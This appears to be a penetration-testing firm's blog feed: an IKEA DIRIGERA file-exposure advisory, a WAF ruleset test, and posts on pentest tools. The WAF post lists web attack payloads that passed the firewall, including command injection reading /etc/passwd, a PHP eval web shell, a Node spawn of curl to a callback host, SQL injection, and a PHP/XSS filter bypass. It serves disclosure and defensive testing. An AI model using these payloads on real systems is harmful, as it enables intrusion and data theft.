Pentagrid AG (Posts about Pentesting)

Security misconfiguration in IKEA DIRIGERA smart hub web server exposes large parts of the root filesystem (GCVE-2342-2026-1)

Pentagrid AG — Wed, 17 Jun 2026 13:42:00 GMT

IKEA produces smart home devices and their newest generation uses the central DIRIGERA smart hub. After extracting the firmware, we started hunting for vulnerabilities of the device and found: An unauthenticated attacker on the network can download large parts of the files from the DIRIGERA hub root filesystem. This affects files that are accessible to the service user license-server. These include binaries, firmware files, API keys and in general a lot of proprietary code written by Inter IKEA Systems.

Timeline

2026-03-18: Vulnerability was discovered.
2026-03-19: Tried to identify security contacts by checking IKEAS's security.txt, their GPG key and the web. The available online form for submissions was incompatible with Pentagrid's disclosure policy. Tried to contact security@ikea.com by guessing the address, but the e-mail was bounced. Tried to reach out to IKEA via Linkedin and got afterwards contacted by Inter IKEA Systems.
2026-03-23: IKEA confirms they are handling the security reports. Pentagrid sends a draft of this advisory.
2026-03-26: Pentagrid contacts IKEA for a status update. IKEA confirms they are still triaging the issue.
2026-04-29: Pentagrid contacts IKEA for a status update.
2026-05-04: IKEA sends an update: The issue was a duplicate and reported shortly before Pentagrid's submission on Hackerone. A fix was released to production in the 2.934.1 release, which was released on 2026-04-09. The fix removes the license-server component from the build and that functionality has been reworked to be handled elsewhere outside of the hub. Pentagrid asks if disclosure could happen already. IKEA responds with with a list of questions regarding the disclosure.
2026-05-06: Pentagrid responds to the list of questions and provides an early draft of this blog post.
2026-05-13: Pentagrid asked for an update.
2026-05-27: IKEA agrees that the provided answers/blog post draft are in order with them and Pentagrid can proceed as planned.
2026-06-17: 90 days disclosure deadline and publication.

Unauthenticated file download via licensing server

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N, 5.8 Medium

Affected Components

The affected component is the IKEA DIRIGERA smart home hub created by Inter IKEA Systems. The device runs a busybox httpd web server on TCP port 8082, which runs as a systemd service under user license-server.

An initial firmware dump prior to the update showed the version information below. The system remained vulnerable after an update to a new firmware on 2026-03-18.

[HomeSmart/Bootchain : 2.556]

and

/etc/version
20180309123456

The vulnerability was fixed in version 2.934.1.

Summary

An unauthenticated attacker on the network can download many files from the DIRIGERA hub root filesystem. The files must be accessible to the Linux user license-server. These include binaries, firmware files, API keys as well as proprietary code written by Inter IKEA Systems.

Impact

During the analysis Pentagrid was able to download 9639 files from 3149 folders from the embedded device's filesystem over the network without any authentication. These files include:

/usr/share/config/platform/data/settings.json which includes the API key that is the same for two analysed DIRIGERA hubs.
/boot/m4-firmware which is assumed to be the Cortex M4 firmware.
Most binaries files -- here it becomes apparent that busybox is used since most of /bin/* binaries return the same (busybox) file.
Configurations of services such as the vulnerable /lib/systemd/system/license-server.service.
Intellectual property of Inter IKEA Systems B.V., e.g. shell code of /usr/sbin/boot-complete.sh.
Operational parameters that are stored in /usr/share/{factory, config, persist}.

The usage of systemd service hardening, the usage of the STSAFE enviroment, and proper Linux user permissions limits the impact. To the best of our knowledge no client specific cryptographic material is exposed to the network. What is assumed to be the client certificate under /usr/local/gw/datad/certs/cert_datacloud.crt is not accessible and would further require the protected STSAFE secret for the also inaccessible /usr/local/gw/datad/certs/key_datacloud.key.

The extracted files expose configurations, intellectual property, proprietary software, and firmware of the Ikea DIRIGERA hub, such as the vulnerabilities of the license server that is exploited here. The impact of exposed software versions is considered insignificant since the license server gives a comprehensive overview about the used software and versions regardless.

Technical Details

The vulnerability originates from the misconfigured systemd service: /lib/systemd/system/license-server.service. It serves a httpd server on port 8082 with a configuration file under /usr/share/common-licenses/httpd.conf.

Excerpt from file license-server.service:

ExecStart=httpd -f -p 8082 -c /usr/share/common-licenses/httpd.conf

Excerpt from file httpd.conf:

I:/usr/share/common-licenses/license_summary.txt

/usr/share/common-licenses/license_summary.txt includes all the licensing information of the software running on the DIRIGERA hub. This file is the only content that is intended to be accessible via the web endpoint.

Yet, if an unauthroized user visits the endpoint and appends any file system path to the base URL, the webserver returns the file contents or starts a file download, e.g.:

dirigera.example.local is here the hostname of the DIRIGERA hub.

The webserver serves these additional files due to a non-specified home directory in a busybox httpd service. The httpd call inside the systemd service does not specify the -h parameter (home/server root directory). Further, the configuration file /usr/share/common-licenses/httpd.conf only specifies the index file via tag I: but also does not specifiy the home directory using the tag H: (called server root in the configuration file). As a result, the webserver defaults to the current directory as the root directory of the webserver which is also the root directory of the entire file system (/).

All accessible files return status code 200. To identify existing folders they must be called without the tailing /, e.g. send GET request to http://dirigera.example.local:8082/usr/share/persist/tee to get status code "302 Found" and a location reference to /usr/share/persist/tee/. Directly requesting /usr/share/persist/tee/ results in status code "404 Not Found", which does not provide information to discriminate folder existence. Note, that besides the information gained from the files, attackers can gain additional information about the file system's structure by checking if a folder exists and is accessible: e.g. /usr/share/persist/tee/ is known to exist even though all files inside the folder are inaccessible.

To scrape all 12788 files and directories, Pentagrid used a preconfigured wordlist based on the extracted firmware from another DIRIGERA hub. The total number of accessible entities is a lower (but confirmed) limit since crawling the licence endpoint/filesystem was done based on a non-comprehensive wordlist. The crawling wordlist included only known paths from partitions 9, 10, 11, 13, 14, 15, 16, 17, 18, and 20 of the emmc flash with partitions 15, 16/17, and 18/19 mounted under /usr/share/{factory, config, persist}.

The system tries to limit access with systemd service hardening, especially the InaccessiblePaths setting in combination with the Linux user permissions — although this is not sufficient, it prevents further exploitation.

Precondition

An attacker needs access to TCP port 8082 of the IKEA DIRIGERA smart hub. Prior knowledge of the filesystem structure is not necessary but can reduce the time required to scrape the entire contents of the filesystem. A version before the 2.934.1 release has to be installed.

Recommendation

Install firmware version 2.934.1 released on 2026-04-09 or a later one. The fix removes the license-server component from the build and the functionality has been reworked to be handled elsewhere outside of the hub.

If you are using busybox httpd in a similar scenario, it is recommended to:

provide a "Home directory" to httpd by via command line or configuration file.
establish an allowlist to only expose the intended files. Beware, that busybox httpd config files are far more limited in their capabilities to restrict file access compared to their non-busybox alternative.
apply additional systemd service hardening.
not solely rely on systemd service denylisting with InaccessiblePaths to administer the served content as denylisting is bad practise for access control.

Credits

This vulnerability was discovered by Yannic 'toxsos' Hemmer (Pentagrid).

An excursion into Airlock WAF ruleset testing

Pentagrid AG — Wed, 11 Dec 2024 12:00:00 GMT

Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the Airlock WAF regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.

WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer [1] in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.

About WAFs and Airlock

Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.

Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.

While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the OWASP ModSecurity Core Rule Set (CRS), while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.

Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term "Paranoia Level" (1 to 4), whereas Airlock calls it "Security Level" or "Blocking Level" (basic, standard and strict). As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.

Approach

We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.

Although there is a public list of rule names, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even look up all currently unfixed evasions on GitHub.

The Airlock WAF we were facing had the following rules and blocking levels set:

Standard: SQL Injection (SQLi) in Parameter Value
Standard: SOL Injection (SQLi) in Header Value
Standard: Cross-Site Scripting (XSS) in Parameter Value
Standard: Cross-Site Scripting (XSS) in Header Value
Standard: Cross-Site Scripting (XSS) in Path
Standard: Template and Expression Language Injection
Strict: HTML Injection in Parameter Value
Strict: HTML Injection in Header Value
Strict: HTML Injection in Path
Standard: UNIX Command Injection in Parameter Value
Standard: UNIX Command Injection in Header Value
Standard: Windows Command Injection in Parameter Value
Standard: Windows Command injection in Header Value
Standard: LDAP Injection in Parameter Value
Standard: LDAP Injection in Header Value
Standard: PHP Injection in Parameter Value
Standard: PHP Injection in Header Value
Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)
Standard: Insecure Direct Object Reference in Parameter Value
Standard: Insecure Direct Object Reference in Path
Standard: NoSOL Injection in Parameter Name
Standard: NoSOL Injection in Parameter Value
Standard: NoSQL Injection in Header Value
Strict: Parameter Name Sanity
Standard: Parameter Value Sanity
Strict: Header Name Sanity
Standard: Header Value Sanity
Strict: Path Sanity
Strict: Encoding and Conversion Exploits in Parameter Value
Strict: Encoding and Conversion Exploits in Header Value
Strict: HTTP Response Splitting
Strict: HTTP Parameter Pollution
Standard: Miscellanous Exploits
Strict: Automated Scanning

Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".

CRS regression test run against Airlock

The most interesting part for us was that the CRS project provides a full regression test set, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.

In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.

After tweaking the configuration of go-ftw (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:

As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.
There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.
Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.
Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.
While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.
Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.

CRS regression test run results

Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.

REQUEST-913-SCANNER-DETECTION

User-Agent: nuclei
User-Agent: urlgrabber/3.10 yum/3.4.3
User-Agent: Mozilla/5.0 zgrab/0.x
User-Agent: mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)

REQUEST-920-PROTOCOL-ENFORCEMENT

GET /?param=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34 HTTP/1.1

REQUEST-921-PROTOCOL-ATTACK

GET /?arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2 HTTP/1.1

POST / HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Content-Type: application/x-www-form-urlencoded
Host: www.example.org
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Length: 86

foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))

REQUEST-930-APPLICATION-ATTACK-LFI

GET /?foo=.../.../WINDOWS/win.ini HTTP/1.1
GET /?foo=0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./ HTTP/1.1
GET /foo../1234 HTTP/1.1
GET /?a=..;.\.;\. HTTP/1.1
GET /?code=;+cat+%2Fetc%2Fsubuid+%23 HTTP/1.1
GET /?code=;echo+fooffff>/tmp/curl HTTP/1.1

REQUEST-931-APPLICATION-ATTACK-RFI

GET /?src=http://66.240.183.75/crash.php HTTP/1.1
GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1
GET /?x=https://example.com/ HTTP/1.1
GET /?x=url:file://foo.bar HTTP/1.1
GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1

REQUEST-932-APPLICATION-ATTACK-RCE

GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1
GET /get?a=Invoke-Expression%20-Command%20file.ps1
GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1
GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=x<cat+/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1
GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1
GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1
GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1
GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1
GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1
GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1
GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1

REQUEST-933-APPLICATION-ATTACK-PHP

GET /?x=$_SERVER['test']; HTTP/1.1

File content:

<?php @eval($_POST["hacker"]); ?>

REQUEST-934-APPLICATION-ATTACK-GENERIC

GET /get/?foo=eval%28String.fromCharCode HTTP/1.1
GET /get/?foo=%0Arequire("child_process").exec('whoami') HTTP/1.1
GET /?x=%0Arequire%3bx%3d"child_process"%3blol(x).spawn("curl",%20['5gmgdi7mjd5o3g8oj8gawq6n8ee5ht6.oastify.com'])%3b HTTP/1.1

REQUEST-942-APPLICATION-ATTACK-SQLI

GET /?a=b,1=1 HTTP/1.1
GET /?a=a=42%20like%2042 HTTP/1.1
GET /?a=1%20is%20not%202 HTTP/1.1
GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1
GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1
GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1
GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1
GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1
GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1
GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1

REQUEST-944-APPLICATION-ATTACK-JAVA

java.lang.ProcessBuilder
java.lang.Runtime
java.io.BufferedInputStream

Bypassing both WAFs

There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.

PHP

After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:

<?xml :system("ls")

This is valid PHP code with the short PHP start tag (<?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).

OWASP CRS checked for the short PHP start tag (<?) but excluded <?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the PHP filter bypass to OWASP CRS it was fixed.

Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.

XML

To find a second bypass we simply used a payload from one of our old advisories that hides the Cross-side Scripting payload in an XML attribute :

POST /ebics-server/ebics.aspx HTTP/1.1
Content-Type: text/xml; charset=UTF-8
Host: www.example.org
Content-Length: 585
Connection: close

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus=print(1) href&gt;&lt;/a&gt;;">
    <header authenticate="true">
        <static>
            <HostID>AAA</HostID>
            <PartnerID>AAA</PartnerID>
            <UserID>AAA</UserID>
            <Product InstituteID="AAA" Language="de">AAA</Product>
            <OrderDetails>
                <OrderType>AAA</OrderType>
                <OrderAttribute>AAA</OrderAttribute>
            </OrderDetails>
            <SecurityMedium>0000</SecurityMedium>
        </static>
        <mutable/>
    </header>
    <body>
        <DataTransfer>
            <OrderData>AAA</OrderData>
        </DataTransfer>
    </body>
</ebicsUnsecuredRequest>

While Airlock doesn't check file contents in-depth in general, it is still an open issue for CRS.

Summary

The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.

After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.

For CRS, one of the two mentioned issues is fixed; the other is still open.

We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, users with first name Axel could get pretty upset.

Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.

Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.

Thanks

We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.

Hackvertor EAN-13 and TOTP tags for web-application penetration testing with Burp

Pentagrid AG — Fri, 06 Dec 2024 08:42:00 GMT

Hackvertor is a standalone tool and more importantly for us an extension for the penetration testing tool Portswigger Burp Suite by Gareth Heyes of the Portswigger Research team, which performs dynamic data conversions. For example, the tool can be used to encode data fields as Base64 before Burp sends a HTTP POST request to a server. This happens automatically and there is no need to manually convert anything or copy and pasting between different windows.

We had an example in our blog, where we generated Swiss social security numbers for a pentest and explained how to program custom Hackvertor tags. There are all kinds of tags already available inside Hackvertor and users can also code their own custom tags. Nowadays Hackvertor has it's own public tag store, where users can submit custom tags. Pentagrid provided two custom tags that made it into the Hackvertor tag store. One tag is for calculating the check-digit of EAN-13 numbers and another is for Time-based one-time password (TOTP) calculation.

As already explained in our blog post Teaching Burp a new HTTP Transport Encoding, being able to customise Burp like this is a helpful instrument to automate and increase test coverage during a security analysis.

EAN-13 Hackvertor tag

EAN is the European Article Number, a standard to encode article numbers. And while it became more international than European and is now called Global Trade Item Number, it is often still referred as EAN-13. Swiss AHV/AVS numbers use the check-sum calculation from EAN-13 and store the check-sum as the 13th digit.

The custom tag code from our blog post was made available as a Hackvertor tag in the tag store. To use the EAN-13 tag, see the following two examples:

# the "append" parameter can be set to 0 or 1.
<@_ean13(1,'[...]')>756.9217.0769.8</@_ean13> # -> 756.9217.0769.85
<@_ean13(0,'[...]')>756.9217.0769.8</@_ean13> # -> 5

The omission [...] is the place where a so-called Hackvertor code execution key must be inserted. The Hackvertor Burp extension will add the code execution key automatically, if the tags are used and prepared in the Hackvertor tab in the Burp UI. The execution key is a random 40-hex character string that prevents websites processed by Burp from triggering harmful actions. The code execution key is unique to your Burp application start. Only code execution tags (with custom code such as the ones in the tag store) require code execution keys.

TOTP Hackvertor tag

Pentagrid also implemented a TOTP tag. This time-based one-time password is used for second factor authentication. If such a second factor is required during the penetration test, this Hackvertor tag can be used. The code was recently added to the tag store. To use the TOTP tag, extract the seed from the QR code that was handed over to you to scan it with an authenticator app. The command line tool zbarimg can dump QR code content from an image file:

% zbarimg ~/Authenticator-QR-Code.png
QR-Code:otpauth://totp/SomeOrg:something?secret=MYSEEDMYSEED2342&issuer=SomeOrg
scanned 1 barcode symbols from 1 images in 0.05 seconds

The tag can then be used analogue to this example:

<@_totp('[...]')>MYSEEDMYSEED2342</@_totp> # -> 797723

There are several parameters for TOTP. In practise, the tag only supports the commonly used parameters SHA1, 30 seconds, 6 digits. Let us know if you find a different configuration in the wild, it should be fairly simple to adapt the custom tag in that case.

In order to access the tag store, just go to the menu entry "View tag store" from the Hackvertor menu in Burp and install the plugins you want. Then also make sure to allow code execution tags via the menu entry "Allow code execution tags" from the Hackvertor menu in Burp.

Update 2025-06-04: An update of Hackvertor in 2025 changed the style of closing elements from <@/name> to </@name>. Therefore, we updated the post.

Archive Pwn tool released

Pentagrid AG — Tue, 03 Oct 2023 15:42:00 GMT

When extracting archive formats there are many things that can go wrong. While some unarchiving tools and libraries protect from malicious archives that include path traversal attacks, other might not or at least not in the default configuration. We wrote a tool to create such archives with path traversal attacks in Python.

Recently we've come across different web applications and embedded devices that allow archive formats such as zips, tars and cpio archives as user input. Therefore, it is always important to check if they are affected by path traversal attacks. If you don't know what we're talking about you might want to read about the zip slip vulnerability or read our explanations in our Wind River VxWorks tarExtract directory traversal vulnerability (CVE-2023-38346) advisory.

While there have been tools such as slip and traversal-archives, we had some special use cases. Both tools and our new Archive Pwn tool slightly vary in supported archive formats (zip, tar and cpio here), file formats (tar ustar, gnu tar, cpio newc, etc.) and implemented attacks (simple path traversal, symlink attacks, etc.).

We encountered more complicated parsing routines that required us to create custom archives that already include a certain file structure. The analysed code sometimes unpacked a single file from the archive first and an error was thrown if the file was not present. However, the vulnerable code that would allow us to do a path traversal attack was later in the code. Therefore, we created Archive Pwn that packs an entire folder into the archive before adding the attack payload entry.

Most of the ideas came from looking at old vulnerabilities and specifications or the file formats in a hex editor and then implementing attacks such as maximum Windows path length attacks, unicode normalisation, DoS via very deep directories, including a path traversal in the filename included in .gz files, etc.

Creating a tool that generates as many combinations of attacks as possible was as well important, so the output of the tool can serve as a test collection for unarchiving tools. You can unpack all archives the tool creates and check if you can find a file in a different directory than the unpacking location.

We've also decided to make sure that we copy the tar and zip libraries from Python and slightly modify them, allowing us to implement further non-standard conform attacks in the future. There's an example in the README on the Archive Pwn Github page on how to create your own malicious archives.

The tool release is related to the recent advisories we released for Busybox cpio directory traversal vulnerability (CVE-2023-39810) and Wind River VxWorks tarExtract directory traversal vulnerability (CVE-2023-38346), where especially the VxWorks blog post deep-dives into some of the archive vulnerabilities.

An open source SMS gateway for pentest projects

Pentagrid AG — Tue, 06 Dec 2022 08:23:00 GMT

Accounts for mobile applications are often bound to phone numbers and working with multiple people on a project may make it necessary at some point to share mobile phone numbers for receiving SMS. Also, when testing mobile applications protected by a SMS-based second-factor authentication, sharing phone numbers among the testing team is sometimes necessary and also acceptable regarding security, when the scope is only a test system. At Pentagrid, we therefore operate a small SMS Gateway, which we hereby publish as open source.

Motivation

If SMS is the second authentication factor, the target system sends an SMS to a mobile phone and then the auditor enters the token manually into the web-browser. While this is still somehow convenient for regular work, it is quite ineffective during a penetration test, especially when the server side invalidates the session every now and then, because the tested application does not like the input and just rejecting the HTTP request was not deemed sufficient enough for the software developers. And when a system is not designed to be tested with semi-automated tools such as the Burp Proxy, often enough 2FA couldn’t be just deactivated for certain test accounts even in a dedicated test environment. To be able to still test such a system, it is useful to bring the second factor into the Burp Proxy.

There are many commercial SMS gateways that provide an API for sending and receiving SMS. However, since the token is an authentication factor, even if only a part of the whole process, sharing this sensitive information with third parties is not an option, even for test systems. For this reason, we implemented an SMS gateway to avoid as much third-party infrastructure in between as possible.

Approach

There are a few SMS forwarding applications that, once installed on a mobile phone, will forward incoming SMS, usually to a destination E-mail address. This works, but the method has drawbacks. It increases dependencies and one has to additionally trust the application developer, the E-mail provider (if one relies on an external party for this), and in the end also other applications running on the mobile phone - at least to a certain degree. The approach additionally does not scale well. Generally, a phone may house up to two physical SIM cards. For three or more SIM cards additional phones would be required. Furthermore, service monitoring is not really supported. To check if the forwarding application is still working, the almost only way to test this is an end-to-end check, which includes sending an SMS and checking if the SMS was finally delivered to a destination.

To overcome these drawbacks, we implemented an SMS gateway with the main purpose of receiving SMS. It is also possible to send SMS, which could be used for sending server monitoring alarm messages, but this was not the focus.

In this initial release, the SMS gateway provides the following features:

Manage a batch of modems
Receive and send SMS
Forwarding of received SMS to E-mail
Be able to pull SMS or send SMS via an XMLRPC service
Support for sending Unstructured Supplementary Service Data (USSD) codes to top up prepaid SIM cards
Support for TLS
Icinga2/Nagios integration for deep checks
Munin integration for a few stats

Implementation and operation mode

The SMS gateway is implemented as a Python program for Linux. The module python-gsmmodem interfaces the modem and handles modem commands. Therefore, each modem runs in its own thread. Multiple modems are grouped as a modem pool, which allows us to operate multiple SIM cards in parallel. The modem pool monitors each modem’s health state, which includes the serial connection to the modem, the signal strength, and the account’s balance for pre-paid SIM cards. Furthermore, the modem pool tries to re-initialize modems in case of problems.

When a modem receives an SMS, it is put into an internal queue. A remote client fetches the SMS via an API provided by an XMLRPC server integrated into the SMS gateway, which is based on the network engine Twisted. Alternatively, the SMS gateway is able to deliver incoming SMS via SMTPS to a destination mailbox. The SMS forwarding via SMTPS is also monitored as a health check. If there are is a problem with SMTPS connection, the health check subsequentially fails.

Remote XMLRPC clients may interact with the XMLRPC server. A client can fetch a received SMS. The API is kept simple and there is no user management. Instead, the XMLRPC server authorizes operations based on API token the client passes as parameter when calling remote API functions. The server has the API token stored as a hash in a configuration file and checks it when deciding whether or not to authorize an operation. There are API token for generally fetching SMS, for fetching SMS for individual modems, for sending Unstructured Supplementary Service Data (USSD) codes, for sending SMS, for retrieving an SMS delivery status, and for monitoring and statistics purposes.

The SMS gateway is shipped with a Munin and an Icinga/Nagios plugin to support monitoring, when the solution is operated. The monitoring plugins are implemented as XMLRPC clients that retrieve health information respectively statistics from the XMLRPC server.

The SMS gateway also supports sending SMS. But when other people are allowed to send SMS, nothing stops them from sending messages to expensive service lines and changing booking options. Therefore, sending SMS can be restricted via an allowed destinations prefix list.

Set up an own installation

We published the SMS gateway’s source code on Github along with further documentation how to set up such a gateway. It should support many 2G/3G/4G/5G modems. In a simple case, you could use these plastic USB modem sticks that are sometimes called "surfstick" or similar.

How you can use the SMS gateway in an automated way with Portswigger's Burp Suite so you don't have to type the 2FA anymore is explained in the blog post Burp Suite - solving E-mail and SMS TAN multi-factor authentication with Hackvertor custom tags.

Improving web application security testing with the Pentagrid Scan Controller

Pentagrid AG — Tue, 23 Aug 2022 12:42:00 GMT

We're back with another helpful Portswigger Burp Pro Proxy extension that you shouldn't miss if you do web application security analysis. This time the wasteful approach of Burp's feature "Actively scan all in-scope traffic" triggered the development of a new extension called Pentagrid Scan Controller, because there are several improvements possible and desirable.

For example, Burp's default scanner actively scans static resources on the server, which seems useless in many cases, so the extension will not do that by default. But the power of the extension lies in all the configuration, you can do yourself to improve the automatic active scanning by deciding what should be scanned and what shouldn't. It also takes the entire concept one level higher up, because you define what you think are interesting HTTP requests and what not. This allows the extension to show you a ranked view of requests and as a tester you now know where to spend the rest of your manual testing time after Burp's scanner ran. Another improvement is in the area of repeatability of requests. The extension will figure out if a requests is repeatable at all (because that's necessary to do proper scanning). If a request is not repeatable it will be made repeatable or ignored (you can see the decision in the UI), because there is usually no point in scanning non-repeatable requests.

You can head over to the Pentagrid Scan Controller github page, where the extension was published as open source. Visit the official Burp BApp store page of Pentagrid Scan Controller or load it directly inside Burp Pro via the BApp store. We recommend to watch the area41.io talk of Tobias Ospelt about improving web application scanning which explains the issues of Burp scanner, what the extension will improve and how you can use the extension. If you want to skip to the extension part directly, you can watch the talk from 24:20 min.

The extension version 0.1 already has many features, such as:

Scanning only in-scope items
Different deduplication techniques of items already scanned
